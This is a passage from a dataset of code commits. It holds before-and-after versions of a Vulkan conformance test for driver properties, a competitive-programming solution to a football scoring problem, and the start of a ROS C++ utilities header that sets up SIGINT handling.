testCtx)\n{\n\treturn createTestGroup(testCtx, \"driver_properties\", \"VK_KHR_driver_properties tests\", createTestCases);\n}\n\n} \/\/ api\n} \/\/ vkt\n<|endoftext|>"} {"text":"<commit_before>\/*-------------------------------------------------------------------------\n* Vulkan Conformance Tests\n* ------------------------\n*\n* Copyright (c) 2018 Advanced Micro Devices, Inc.\n* Copyright (c) 2018 The Khronos Group Inc.\n*\n* Licensed under the Apache License, Version 2.0 (the \"License\");\n* you may not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n* http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n*\n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an \"AS IS\" BASIS,\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n*\n*\/\/*!\n* \\file\n* \\brief VK_KHR_driver_properties tests\n*\/\/*--------------------------------------------------------------------*\/\n\n#include \"vktApiDriverPropertiesTests.hpp\"\n#include \"vktTestGroupUtil.hpp\"\n#include \"vktTestCaseUtil.hpp\"\n#include \"vkQueryUtil.hpp\"\n#include \"vkTypeUtil.hpp\"\n\nusing namespace vk;\n\nnamespace vkt\n{\nnamespace api\n{\nnamespace\n{\n\nenum TestType\n{\n\tTEST_TYPE_DRIVER_ID_MATCH\t\t\t= 0,\n\tTEST_TYPE_NAME_IS_NOT_EMPTY,\n\tTEST_TYPE_NAME_ZERO_TERMINATED,\n\tTEST_TYPE_INFO_ZERO_TERMINATED,\n\tTEST_TYPE_VERSION,\n};\n\nstatic const deUint32 knownDriverIds[] =\n{\n\t\/\/ Specified in the Vulkan registry (vk.xml)\n\t1,\t\/\/ author = \"Advanced Micro Devices, Inc.\" comment = \"AMD proprietary driver\"\n\t2,\t\/\/ author = \"Advanced Micro Devices, Inc.\" comment = \"AMD open-source driver\"\n\t3,\t\/\/ author = \"Mesa open source project\" comment = \"Mesa RADV driver\"\n\t4,\t\/\/ author = \"NVIDIA Corporation\" comment = \"NVIDIA proprietary driver\"\n\t5,\t\/\/ author = \"Intel Corporation\" comment = \"Intel proprietary Windows driver\"\n\t6,\t\/\/ author = \"Intel Corporation\" comment = \"Intel open-source Mesa driver\"\n\t7,\t\/\/ author = \"Imagination Technologies\" comment = \"Imagination proprietary driver\"\n\t8,\t\/\/ author = \"Qualcomm Technologies, Inc.\" comment = \"Qualcomm proprietary driver\"\n\t9,\t\/\/ author = \"Arm Limited\" comment = \"Arm proprietary driver\"\n\t10,\t\/\/ <enum value=\"10\" name=\"VK_DRIVER_ID_GOOGLE_SWIFTSHADER_KHR\" comment=\"Google LLC\"\/>\n\t11,\t\/\/ <enum value=\"11\" name=\"VK_DRIVER_ID_GGP_PROPRIETARY_KHR\" comment=\"Google LLC\"\/>\n\t12,\t\/\/ <enum value=\"12\" name=\"VK_DRIVER_ID_BROADCOM_PROPRIETARY_KHR\" comment=\"Broadcom Inc.\"\/>\n};\n\nstatic const VkConformanceVersionKHR knownConformanceVersions[] =\n{\n\tmakeConformanceVersion(1, 2, 2, 0),\n\tmakeConformanceVersion(1, 2, 1, 1),\n\tmakeConformanceVersion(1, 2, 1, 0),\n\tmakeConformanceVersion(1, 2, 0, 2),\n\tmakeConformanceVersion(1, 2, 0, 1),\n\tmakeConformanceVersion(1, 2, 0, 0),\n\tmakeConformanceVersion(1, 1, 6, 3),\n\tmakeConformanceVersion(1, 1, 6, 2),\n\tmakeConformanceVersion(1, 1, 6, 1),\n\tmakeConformanceVersion(1, 1, 6, 0),\n\tmakeConformanceVersion(1, 1, 5, 2),\n\tmakeConformanceVersion(1, 1, 5, 1),\n\tmakeConformanceVersion(1, 1, 5, 0),\n\tmakeConformanceVersion(1, 1, 4, 3),\n\tmakeConformanceVersion(1, 1, 4, 2),\n\tmakeConformanceVersion(1, 1, 4, 1),\n\tmakeConformanceVersion(1, 1, 4, 0),\n\tmakeConformanceVersion(1, 1, 3, 3),\n\tmakeConformanceVersion(1, 1, 3, 2),\n\tmakeConformanceVersion(1, 1, 3, 1),\n\tmakeConformanceVersion(1, 1, 3, 0),\n};\n\nDE_INLINE bool isNullTerminated(const char* str, const deUint32 maxSize)\n{\n\treturn deStrnlen(str, maxSize) < maxSize;\n}\n\nDE_INLINE bool operator==(const VkConformanceVersion& a, const VkConformanceVersion& b)\n{\n\treturn ((a.major == b.major)\t\t&&\n\t\t\t(a.minor == b.minor)\t\t&&\n\t\t\t(a.subminor == b.subminor)\t&&\n\t\t\t(a.patch == b.patch));\n}\n\nvoid checkSupport (Context& context, const TestType config)\n{\n\tDE_UNREF(config);\n\tcontext.requireDeviceFunctionality(\"VK_KHR_driver_properties\");\n}\n\nvoid testDriverMatch (const VkPhysicalDeviceDriverPropertiesKHR& deviceDriverProperties)\n{\n\tfor (const deUint32* pDriverId = knownDriverIds; pDriverId != DE_ARRAY_END(knownDriverIds); ++pDriverId)\n\t{\n\t\tif (deviceDriverProperties.driverID == *pDriverId)\n\t\t\treturn;\n\t}\n\n\tTCU_FAIL(\"Driver ID did not match any known driver\");\n}\n\nvoid testNameIsNotEmpty (const VkPhysicalDeviceDriverPropertiesKHR& deviceDriverProperties)\n{\n\tif (deviceDriverProperties.driverName[0] == 0)\n\t\tTCU_FAIL(\"Driver name is empty\");\n}\n\nvoid testNameZeroTerminated (const VkPhysicalDeviceDriverPropertiesKHR& deviceDriverProperties)\n{\n\tif (!isNullTerminated(deviceDriverProperties.driverName, VK_MAX_DRIVER_NAME_SIZE_KHR))\n\t\tTCU_FAIL(\"Driver name is not a null-terminated string\");\n}\n\nvoid testInfoZeroTerminated (const VkPhysicalDeviceDriverPropertiesKHR& deviceDriverProperties)\n{\n\tif (!isNullTerminated(deviceDriverProperties.driverInfo, VK_MAX_DRIVER_INFO_SIZE_KHR))\n\t\tTCU_FAIL(\"Driver info is not a null-terminated string\");\n}\n\nvoid testVersion (const VkPhysicalDeviceDriverPropertiesKHR& deviceDriverProperties, deUint32 usedApiVersion)\n{\n\tconst deUint32 apiMajorVersion = VK_VERSION_MAJOR(usedApiVersion);\n\tconst deUint32 apiMinorVersion = VK_VERSION_MINOR(usedApiVersion);\n\n\tif (deviceDriverProperties.conformanceVersion.major < apiMajorVersion ||\n\t\t(deviceDriverProperties.conformanceVersion.major == apiMajorVersion &&\n\t\t deviceDriverProperties.conformanceVersion.minor < apiMinorVersion))\n\t{\n\t\tTCU_FAIL(\"Wrong driver conformance version (older than used API version)\");\n\t}\n\n\tfor (const VkConformanceVersionKHR* pConformanceVersion = knownConformanceVersions;\n\t\t\t\t\t\t\t\t\t\tpConformanceVersion != DE_ARRAY_END(knownConformanceVersions);\n\t\t\t\t\t\t\t\t\t ++pConformanceVersion)\n\t{\n\t\tif (deviceDriverProperties.conformanceVersion == *pConformanceVersion)\n\t\t\treturn;\n\t}\n\n\tTCU_FAIL(\"Wrong driver conformance version (not known)\");\n}\n\ntcu::TestStatus testQueryProperties (Context& context, const TestType testType)\n{\n\t\/\/ Query the driver properties\n\tconst VkPhysicalDevice\t\t\t\tphysDevice\t\t\t= context.getPhysicalDevice();\n\tconst int\t\t\t\t\t\t\tmemsetPattern\t\t= 0xaa;\n\tVkPhysicalDeviceProperties2\t\t\tdeviceProperties2;\n\tVkPhysicalDeviceDriverProperties\tdeviceDriverProperties;\n\n\tdeMemset(&deviceDriverProperties, memsetPattern, sizeof(deviceDriverProperties));\n\tdeviceDriverProperties.sType = VK_STRUCTURE_TYPE_PHYSICAL_DEVICE_DRIVER_PROPERTIES_KHR;\n\tdeviceDriverProperties.pNext = DE_NULL;\n\n\tdeMemset(&deviceProperties2, memsetPattern, sizeof(deviceProperties2));\n\tdeviceProperties2.sType = VK_STRUCTURE_TYPE_PHYSICAL_DEVICE_PROPERTIES_2;\n\tdeviceProperties2.pNext = &deviceDriverProperties;\n\n\tcontext.getInstanceInterface().getPhysicalDeviceProperties2(physDevice, &deviceProperties2);\n\n\t\/\/ Verify the returned values\n\tswitch (testType)\n\t{\n\t\tcase TEST_TYPE_DRIVER_ID_MATCH:\t\t\ttestDriverMatch\t\t\t(deviceDriverProperties);\t\t\t\t\t\t\t\tbreak;\n\t\tcase TEST_TYPE_NAME_IS_NOT_EMPTY:\t\ttestNameIsNotEmpty\t\t(deviceDriverProperties);\t\t\t\t\t\t\t\tbreak;\n\t\tcase TEST_TYPE_NAME_ZERO_TERMINATED:\ttestNameZeroTerminated\t(deviceDriverProperties);\t\t\t\t\t\t\t\tbreak;\n\t\tcase TEST_TYPE_INFO_ZERO_TERMINATED:\ttestInfoZeroTerminated\t(deviceDriverProperties);\t\t\t\t\t\t\t\tbreak;\n\t\tcase TEST_TYPE_VERSION:\t\t\t\t\ttestVersion\t\t\t\t(deviceDriverProperties, context.getUsedApiVersion());\tbreak;\n\t\tdefault:\t\t\t\t\t\t\t\tTCU_THROW(InternalError, \"Unknown test type specified\");\n\t}\n\n\treturn tcu::TestStatus::pass(\"Pass\");\n}\n\nvoid createTestCases (tcu::TestCaseGroup* group)\n{\n\taddFunctionCase(group, \"driver_id_match\",\t\t\"Check driverID is supported\",\t\t\t\t\tcheckSupport,\ttestQueryProperties,\tTEST_TYPE_DRIVER_ID_MATCH);\n\taddFunctionCase(group, \"name_is_not_empty\",\t\t\"Check name field is not empty\",\t\t\t\tcheckSupport,\ttestQueryProperties,\tTEST_TYPE_NAME_IS_NOT_EMPTY);\n\taddFunctionCase(group, \"name_zero_terminated\",\t\"Check name field is zero-terminated\",\t\t\tcheckSupport,\ttestQueryProperties,\tTEST_TYPE_NAME_ZERO_TERMINATED);\n\taddFunctionCase(group, \"info_zero_terminated\",\t\"Check info field is zero-terminated\",\t\t\tcheckSupport,\ttestQueryProperties,\tTEST_TYPE_INFO_ZERO_TERMINATED);\n\taddFunctionCase(group, \"conformance_version\",\t\"Check conformanceVersion reported by driver\",\tcheckSupport,\ttestQueryProperties,\tTEST_TYPE_VERSION);\n}\n\n} \/\/ anonymous\n\ntcu::TestCaseGroup*\tcreateDriverPropertiesTests(tcu::TestContext& testCtx)\n{\n\treturn createTestGroup(testCtx, \"driver_properties\", \"VK_KHR_driver_properties tests\", createTestCases);\n}\n\n} \/\/ api\n} \/\/ vkt\n<commit_msg>Whitelist Vulkan CTS 1.2.2.1<commit_after>\/*-------------------------------------------------------------------------\n* Vulkan Conformance Tests\n* ------------------------\n*\n* Copyright (c) 2018 Advanced Micro Devices, Inc.\n* Copyright (c) 2018 The Khronos Group Inc.\n*\n* Licensed under the Apache License, Version 2.0 (the \"License\");\n* you may not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n* http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n*\n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an \"AS IS\" BASIS,\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n*\n*\/\/*!\n* \\file\n* \\brief VK_KHR_driver_properties tests\n*\/\/*--------------------------------------------------------------------*\/\n\n#include \"vktApiDriverPropertiesTests.hpp\"\n#include \"vktTestGroupUtil.hpp\"\n#include \"vktTestCaseUtil.hpp\"\n#include \"vkQueryUtil.hpp\"\n#include \"vkTypeUtil.hpp\"\n\nusing namespace vk;\n\nnamespace vkt\n{\nnamespace api\n{\nnamespace\n{\n\nenum TestType\n{\n\tTEST_TYPE_DRIVER_ID_MATCH\t\t\t= 0,\n\tTEST_TYPE_NAME_IS_NOT_EMPTY,\n\tTEST_TYPE_NAME_ZERO_TERMINATED,\n\tTEST_TYPE_INFO_ZERO_TERMINATED,\n\tTEST_TYPE_VERSION,\n};\n\nstatic const deUint32 knownDriverIds[] =\n{\n\t\/\/ Specified in the Vulkan registry (vk.xml)\n\t1,\t\/\/ author = \"Advanced Micro Devices, Inc.\" comment = \"AMD proprietary driver\"\n\t2,\t\/\/ author = \"Advanced Micro Devices, Inc.\" comment = \"AMD open-source driver\"\n\t3,\t\/\/ author = \"Mesa open source project\" comment = \"Mesa RADV driver\"\n\t4,\t\/\/ author = \"NVIDIA Corporation\" comment = \"NVIDIA proprietary driver\"\n\t5,\t\/\/ author = \"Intel Corporation\" comment = \"Intel proprietary Windows driver\"\n\t6,\t\/\/ author = \"Intel Corporation\" comment = \"Intel open-source Mesa driver\"\n\t7,\t\/\/ author = \"Imagination Technologies\" comment = \"Imagination proprietary driver\"\n\t8,\t\/\/ author = \"Qualcomm Technologies, Inc.\" comment = \"Qualcomm proprietary driver\"\n\t9,\t\/\/ author = \"Arm Limited\" comment = \"Arm proprietary driver\"\n\t10,\t\/\/ <enum value=\"10\" name=\"VK_DRIVER_ID_GOOGLE_SWIFTSHADER_KHR\" comment=\"Google LLC\"\/>\n\t11,\t\/\/ <enum value=\"11\" name=\"VK_DRIVER_ID_GGP_PROPRIETARY_KHR\" comment=\"Google LLC\"\/>\n\t12,\t\/\/ <enum value=\"12\" name=\"VK_DRIVER_ID_BROADCOM_PROPRIETARY_KHR\" comment=\"Broadcom Inc.\"\/>\n};\n\nstatic const VkConformanceVersionKHR knownConformanceVersions[] =\n{\n\tmakeConformanceVersion(1, 2, 2, 1),\n\tmakeConformanceVersion(1, 2, 2, 0),\n\tmakeConformanceVersion(1, 2, 1, 1),\n\tmakeConformanceVersion(1, 2, 1, 0),\n\tmakeConformanceVersion(1, 2, 0, 2),\n\tmakeConformanceVersion(1, 2, 0, 1),\n\tmakeConformanceVersion(1, 2, 0, 0),\n\tmakeConformanceVersion(1, 1, 6, 3),\n\tmakeConformanceVersion(1, 1, 6, 2),\n\tmakeConformanceVersion(1, 1, 6, 1),\n\tmakeConformanceVersion(1, 1, 6, 0),\n\tmakeConformanceVersion(1, 1, 5, 2),\n\tmakeConformanceVersion(1, 1, 5, 1),\n\tmakeConformanceVersion(1, 1, 5, 0),\n\tmakeConformanceVersion(1, 1, 4, 3),\n\tmakeConformanceVersion(1, 1, 4, 2),\n\tmakeConformanceVersion(1, 1, 4, 1),\n\tmakeConformanceVersion(1, 1, 4, 0),\n\tmakeConformanceVersion(1, 1, 3, 3),\n\tmakeConformanceVersion(1, 1, 3, 2),\n\tmakeConformanceVersion(1, 1, 3, 1),\n\tmakeConformanceVersion(1, 1, 3, 0),\n};\n\nDE_INLINE bool isNullTerminated(const char* str, const deUint32 maxSize)\n{\n\treturn deStrnlen(str, maxSize) < maxSize;\n}\n\nDE_INLINE bool operator==(const VkConformanceVersion& a, const VkConformanceVersion& b)\n{\n\treturn ((a.major == b.major)\t\t&&\n\t\t\t(a.minor == b.minor)\t\t&&\n\t\t\t(a.subminor == b.subminor)\t&&\n\t\t\t(a.patch == b.patch));\n}\n\nvoid checkSupport (Context& context, const TestType config)\n{\n\tDE_UNREF(config);\n\tcontext.requireDeviceFunctionality(\"VK_KHR_driver_properties\");\n}\n\nvoid testDriverMatch (const VkPhysicalDeviceDriverPropertiesKHR& deviceDriverProperties)\n{\n\tfor (const deUint32* pDriverId = knownDriverIds; pDriverId != DE_ARRAY_END(knownDriverIds); ++pDriverId)\n\t{\n\t\tif (deviceDriverProperties.driverID == *pDriverId)\n\t\t\treturn;\n\t}\n\n\tTCU_FAIL(\"Driver ID did not match any known driver\");\n}\n\nvoid testNameIsNotEmpty (const VkPhysicalDeviceDriverPropertiesKHR& deviceDriverProperties)\n{\n\tif (deviceDriverProperties.driverName[0] == 0)\n\t\tTCU_FAIL(\"Driver name is empty\");\n}\n\nvoid testNameZeroTerminated (const VkPhysicalDeviceDriverPropertiesKHR& deviceDriverProperties)\n{\n\tif (!isNullTerminated(deviceDriverProperties.driverName, VK_MAX_DRIVER_NAME_SIZE_KHR))\n\t\tTCU_FAIL(\"Driver name is not a null-terminated string\");\n}\n\nvoid testInfoZeroTerminated (const VkPhysicalDeviceDriverPropertiesKHR& deviceDriverProperties)\n{\n\tif (!isNullTerminated(deviceDriverProperties.driverInfo, VK_MAX_DRIVER_INFO_SIZE_KHR))\n\t\tTCU_FAIL(\"Driver info is not a null-terminated string\");\n}\n\nvoid testVersion (const VkPhysicalDeviceDriverPropertiesKHR& deviceDriverProperties, deUint32 usedApiVersion)\n{\n\tconst deUint32 apiMajorVersion = VK_VERSION_MAJOR(usedApiVersion);\n\tconst deUint32 apiMinorVersion = VK_VERSION_MINOR(usedApiVersion);\n\n\tif (deviceDriverProperties.conformanceVersion.major < apiMajorVersion ||\n\t\t(deviceDriverProperties.conformanceVersion.major == apiMajorVersion &&\n\t\t deviceDriverProperties.conformanceVersion.minor < apiMinorVersion))\n\t{\n\t\tTCU_FAIL(\"Wrong driver conformance version (older than used API version)\");\n\t}\n\n\tfor (const VkConformanceVersionKHR* pConformanceVersion = knownConformanceVersions;\n\t\t\t\t\t\t\t\t\t\tpConformanceVersion != DE_ARRAY_END(knownConformanceVersions);\n\t\t\t\t\t\t\t\t\t ++pConformanceVersion)\n\t{\n\t\tif (deviceDriverProperties.conformanceVersion == *pConformanceVersion)\n\t\t\treturn;\n\t}\n\n\tTCU_FAIL(\"Wrong driver conformance version (not known)\");\n}\n\ntcu::TestStatus testQueryProperties (Context& context, const TestType testType)\n{\n\t\/\/ Query the driver properties\n\tconst VkPhysicalDevice\t\t\t\tphysDevice\t\t\t= context.getPhysicalDevice();\n\tconst int\t\t\t\t\t\t\tmemsetPattern\t\t= 0xaa;\n\tVkPhysicalDeviceProperties2\t\t\tdeviceProperties2;\n\tVkPhysicalDeviceDriverProperties\tdeviceDriverProperties;\n\n\tdeMemset(&deviceDriverProperties, memsetPattern, sizeof(deviceDriverProperties));\n\tdeviceDriverProperties.sType = VK_STRUCTURE_TYPE_PHYSICAL_DEVICE_DRIVER_PROPERTIES_KHR;\n\tdeviceDriverProperties.pNext = DE_NULL;\n\n\tdeMemset(&deviceProperties2, memsetPattern, sizeof(deviceProperties2));\n\tdeviceProperties2.sType = VK_STRUCTURE_TYPE_PHYSICAL_DEVICE_PROPERTIES_2;\n\tdeviceProperties2.pNext = &deviceDriverProperties;\n\n\tcontext.getInstanceInterface().getPhysicalDeviceProperties2(physDevice, &deviceProperties2);\n\n\t\/\/ Verify the returned values\n\tswitch (testType)\n\t{\n\t\tcase TEST_TYPE_DRIVER_ID_MATCH:\t\t\ttestDriverMatch\t\t\t(deviceDriverProperties);\t\t\t\t\t\t\t\tbreak;\n\t\tcase TEST_TYPE_NAME_IS_NOT_EMPTY:\t\ttestNameIsNotEmpty\t\t(deviceDriverProperties);\t\t\t\t\t\t\t\tbreak;\n\t\tcase TEST_TYPE_NAME_ZERO_TERMINATED:\ttestNameZeroTerminated\t(deviceDriverProperties);\t\t\t\t\t\t\t\tbreak;\n\t\tcase TEST_TYPE_INFO_ZERO_TERMINATED:\ttestInfoZeroTerminated\t(deviceDriverProperties);\t\t\t\t\t\t\t\tbreak;\n\t\tcase TEST_TYPE_VERSION:\t\t\t\t\ttestVersion\t\t\t\t(deviceDriverProperties, context.getUsedApiVersion());\tbreak;\n\t\tdefault:\t\t\t\t\t\t\t\tTCU_THROW(InternalError, \"Unknown test type specified\");\n\t}\n\n\treturn tcu::TestStatus::pass(\"Pass\");\n}\n\nvoid createTestCases (tcu::TestCaseGroup* group)\n{\n\taddFunctionCase(group, \"driver_id_match\",\t\t\"Check driverID is supported\",\t\t\t\t\tcheckSupport,\ttestQueryProperties,\tTEST_TYPE_DRIVER_ID_MATCH);\n\taddFunctionCase(group, \"name_is_not_empty\",\t\t\"Check name field is not empty\",\t\t\t\tcheckSupport,\ttestQueryProperties,\tTEST_TYPE_NAME_IS_NOT_EMPTY);\n\taddFunctionCase(group, \"name_zero_terminated\",\t\"Check name field is zero-terminated\",\t\t\tcheckSupport,\ttestQueryProperties,\tTEST_TYPE_NAME_ZERO_TERMINATED);\n\taddFunctionCase(group, \"info_zero_terminated\",\t\"Check info field is zero-terminated\",\t\t\tcheckSupport,\ttestQueryProperties,\tTEST_TYPE_INFO_ZERO_TERMINATED);\n\taddFunctionCase(group, \"conformance_version\",\t\"Check conformanceVersion reported by driver\",\tcheckSupport,\ttestQueryProperties,\tTEST_TYPE_VERSION);\n}\n\n} \/\/ anonymous\n\ntcu::TestCaseGroup*\tcreateDriverPropertiesTests(tcu::TestContext& testCtx)\n{\n\treturn createTestGroup(testCtx, \"driver_properties\", \"VK_KHR_driver_properties tests\", createTestCases);\n}\n\n} \/\/ api\n} \/\/ vkt\n<|endoftext|>"} {"text":"<commit_before>#include <bits\/stdc++.h>\n#define dbug(x) cout << '>' << #x << ':' << x << endl\n#define pline cout << \"_________________________\" << endl\n#define mem(x, v) memset(x, v, sizeof(x))\n\n\n#define eef else if\n#define sf scanf\n#define pf printf\n#define i64 long long\n#define ll long long\n#define ui64 unsigned long long\n\n#define pcount(num) __builtin_popcount(num)\n#define all(x) x.begin(), x.end()\n#define lla(x) x.rbegin(), x.rend()\n#define SORT(c) sort(all(c))\n#define ssort(v) stable_sort(v.begin(), v.end())\n#define sz(v) (int)(v).size()\n#define _lst(X) (X)[sz((X))-1]\n\n#define IT iterator\n#define pb push_back\n#define ppb pop_back\n#define mp make_pair\n#define fi first\n#define se second\n#define CTN(T, x) (T.find(x) != T.end())\n\n#define max3(a,b,c) max(a,max(b,c))\n#define min3(a,b,c) min(a,min(b,c))\n#define maximum(v) *max_element(all(v)\n#define minimum(v) *min_element(all(v))\n#define Reverse(x) reverse(x.begin(),x.end())\n\n#define loop(i,s,e) for(__typeof(s) i=(s);i<=(e);i++)\n#define pool(i,e,s) for(__typeof(e) i=(e);i>=(s);i--)\n\n#define FORIT(i, m) for (__typeof((m).begin()) i=(m).begin(); i!=(m).end(); ++i)\n\n#define siter(n,T1) for(set<T1>::iterator it=n.begin();it!=n.end();it++)\n#define miter(n,T1,T2) for(map<T1,T2>::iterator it=n.begin();it!=n.end();it++)\n\n#define ps(x) cout<<\"Case \"<<++x<<\": \"\n#define pcs(x) pf(\"Case %d: \", ++x)\n#define newl '\\n'\n#define Newl \"\\n\"\n#define nl puts (\"\")\n#define sqr(a) ((a)*(a))\n#define MAX 1e12\n\n#define FAST ios_base::sync_with_stdio(0)\nusing namespace std;\n\n\nint main(){\n int matches, goals, a, b, m, wins, stop, draw;\n\n while(sf(\"%d %d\", &matches, &goals)==2){\n wins = draw = 0, m = matches;\n vector<int> need;\n while(m--){\n sf(\"%d %d\", &a, &b);\n if ( a > b ) wins++;\n else {\n need.pb((b+1) - a );\n }\n }\n sort(all(need));\n for(int i = 0; i<sz(need); i++){\n if ( goals < 1 ){\n loop(j, i, sz(need)-1){\n if ( need[j] == 1 ){\n draw++;\n goals--;\n } \n }\n break;\n } \n if ( goals >= need[i] ){\n goals -= need[i];\n wins++;\n\n }\n if ( goals > 0 && goals+1 == need[i] ){\n draw++;\n goals--;\n }\n }\n\n pf(\"%d\\n\", (wins*3) + draw);\n }\n\n\n return 0;\n}\n\/*\nInput:\n\n3 1\n2 1\n1 2\n1 3\n3 3\n1 1\n2 2\n3 3\n2 1\n1 1\n2 2\n7 0\n4 2\n1 1\n1 5\n2 2\n3 3\n4 4\n0 6\n4 0\n1 1\n2 2\n1 3\n0 4\n3 10\n0 8\n0 2\n0 0\n5 3\n1 1\n1 3\n1 2\n1 2\n1 2 \n5 4\n0 1\n0 1\n0 1\n0 1\n1 8\n2 1\n0 1\n2 2\n2 1\n0 1\n0 1\n\nOutput:\n\n4\n9\n4\n7\n2\n6\n6\n6\n3\n1\n\n\n*\/\n<commit_msg>Update Football_12673.cpp<commit_after>#include <bits\/stdc++.h>\n#define dbug(x) cout << '>' << #x << ':' << x << endl\n#define pline cout << \"_________________________\" << endl\n#define mem(x, v) memset(x, v, sizeof(x))\n\n\n#define eef else if\n#define sf scanf\n#define pf printf\n#define i64 long long\n#define ll long long\n#define ui64 unsigned long long\n\n#define pcount(num) __builtin_popcount(num)\n#define all(x) x.begin(), x.end()\n#define lla(x) x.rbegin(), x.rend()\n#define SORT(c) sort(all(c))\n#define ssort(v) stable_sort(v.begin(), v.end())\n#define sz(v) (int)(v).size()\n#define _lst(X) (X)[sz((X))-1]\n\n#define IT iterator\n#define pb push_back\n#define ppb pop_back\n#define mp make_pair\n#define fi first\n#define se second\n#define CTN(T, x) (T.find(x) != T.end())\n\n#define max3(a,b,c) max(a,max(b,c))\n#define min3(a,b,c) min(a,min(b,c))\n#define maximum(v) *max_element(all(v)\n#define minimum(v) *min_element(all(v))\n#define Reverse(x) reverse(x.begin(),x.end())\n\n#define loop(i,s,e) for(__typeof(s) i=(s);i<=(e);i++)\n#define pool(i,e,s) for(__typeof(e) i=(e);i>=(s);i--)\n\n#define FORIT(i, m) for (__typeof((m).begin()) i=(m).begin(); i!=(m).end(); ++i)\n\n#define siter(n,T1) for(set<T1>::iterator it=n.begin();it!=n.end();it++)\n#define miter(n,T1,T2) for(map<T1,T2>::iterator it=n.begin();it!=n.end();it++)\n\n#define ps(x) cout<<\"Case \"<<++x<<\": \"\n#define pcs(x) pf(\"Case %d: \", ++x)\n#define newl '\\n'\n#define Newl \"\\n\"\n#define nl puts(\"\")\n#define sqr(a) ((a)*(a))\n#define MAX 1e12\n\n#define FAST ios_base::sync_with_stdio(0)\nusing namespace std;\n\n\nint main(){\n int matches, goals, a, b, m, wins, stop, draw;\n\n while(sf(\"%d %d\", &matches, &goals)==2){\n wins = draw = 0, m = matches;\n vector<int> need;\n while(m--){\n sf(\"%d %d\", &a, &b);\n if ( a > b ) wins++;\n else {\n need.pb((b+1) - a );\n }\n }\n sort(all(need));\n for(int i = 0; i<sz(need); i++){\n if ( goals < 1 ){\n loop(j, i, sz(need)-1){\n if ( need[j] == 1 ){\n draw++;\n goals--;\n } \n }\n break;\n } \n if ( goals >= need[i] ){\n goals -= need[i];\n wins++;\n\n }\n if ( goals > 0 && goals+1 == need[i] ){\n draw++;\n goals--;\n }\n }\n\n pf(\"%d\\n\", (wins*3) + draw);\n }\n\n\n return 0;\n}\n\/*\nInput:\n\n3 1\n2 1\n1 2\n1 3\n3 3\n1 1\n2 2\n3 3\n2 1\n1 1\n2 2\n7 0\n4 2\n1 1\n1 5\n2 2\n3 3\n4 4\n0 6\n4 0\n1 1\n2 2\n1 3\n0 4\n3 10\n0 8\n0 2\n0 0\n5 3\n1 1\n1 3\n1 2\n1 2\n1 2 \n5 4\n0 1\n0 1\n0 1\n0 1\n1 8\n2 1\n0 1\n2 2\n2 1\n0 1\n0 1\n\nOutput:\n\n4\n9\n4\n7\n2\n6\n6\n6\n3\n1\n\n\n*\/\n<|endoftext|>"} {"text":"<commit_before>\/* Copyright 2014 Open Source Robotics Foundation, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef RCLCPP_RCLCPP_UTILITIES_HPP_\n#define RCLCPP_RCLCPP_UTILITIES_HPP_\n\n\/\/ TODO: remove\n#include <iostream>\n\n#include <cerrno>\n#include <chrono>\n#include <condition_variable>\n#include <csignal>\n#include <cstring>\n#include <mutex>\n#include <thread>\n\n#include <ros_middleware_interface\/functions.h>\n#include <ros_middleware_interface\/handles.h>\n\n\/\/ Determine if sigaction is available\n#if _POSIX_C_SOURCE >= 1 || _XOPEN_SOURCE || _POSIX_SOURCE\n#define HAS_SIGACTION\n#endif\n\nnamespace\n{\n volatile sig_atomic_t g_signal_status = 0;\n ros_middleware_interface::GuardConditionHandle g_sigint_guard_cond_handle = \\\n ros_middleware_interface::create_guard_condition();\n std::condition_variable g_interrupt_condition_variable;\n std::mutex g_interrupt_mutex;\n\n#ifdef HAS_SIGACTION\n struct sigaction old_action;\n#else\n void (*old_signal_handler)(int) = 0;\n#endif\n\n void\n#ifdef HAS_SIGACTION\n signal_handler(int signal_value, siginfo_t *siginfo, void *context)\n#else\n signal_handler(int signal_value)\n#endif\n {\n \/\/ TODO: remove\n std::cout << \"signal_handler(\" << signal_value << \")\" << std::endl;\n#ifdef HAS_SIGACTION\n if (old_action.sa_flags & SA_SIGINFO)\n {\n if (old_action.sa_sigaction != NULL)\n {\n old_action.sa_sigaction(signal_value, siginfo, context);\n }\n }\n else\n {\n if (old_action.sa_handler != NULL && \/\/ Is set\n old_action.sa_handler != SIG_DFL && \/\/ Is not default\n old_action.sa_handler != SIG_IGN) \/\/ Is not ignored\n {\n old_action.sa_handler(signal_value);\n }\n }\n#else\n if (old_signal_handler)\n {\n old_signal_handler(signal_value);\n }\n#endif\n g_signal_status = signal_value;\n using ros_middleware_interface::trigger_guard_condition;\n trigger_guard_condition(g_sigint_guard_cond_handle);\n g_interrupt_condition_variable.notify_all();\n }\n}\n\nnamespace rclcpp\n{\n\n__thread size_t thread_id = 0;\n\nnamespace utilities\n{\n\nvoid\ninit(int argc, char *argv[])\n{\n ros_middleware_interface::init();\n#ifdef HAS_SIGACTION\n struct sigaction action;\n memset(&action, 0, sizeof(action));\n sigemptyset(&action.sa_mask);\n action.sa_sigaction = ::signal_handler;\n action.sa_flags = SA_SIGINFO;\n ssize_t ret = sigaction(SIGINT, &action, &old_action);\n if (ret == -1)\n#else\n ::old_signal_handler = std::signal(SIGINT, ::signal_handler);\n if (::old_signal_handler == SIG_ERR)\n#endif\n {\n throw std::runtime_error(\n std::string(\"Failed to set SIGINT signal handler: (\" +\n std::to_string(errno) + \")\") +\n std::strerror(errno));\n }\n}\n\nbool\nok()\n{\n return ::g_signal_status == 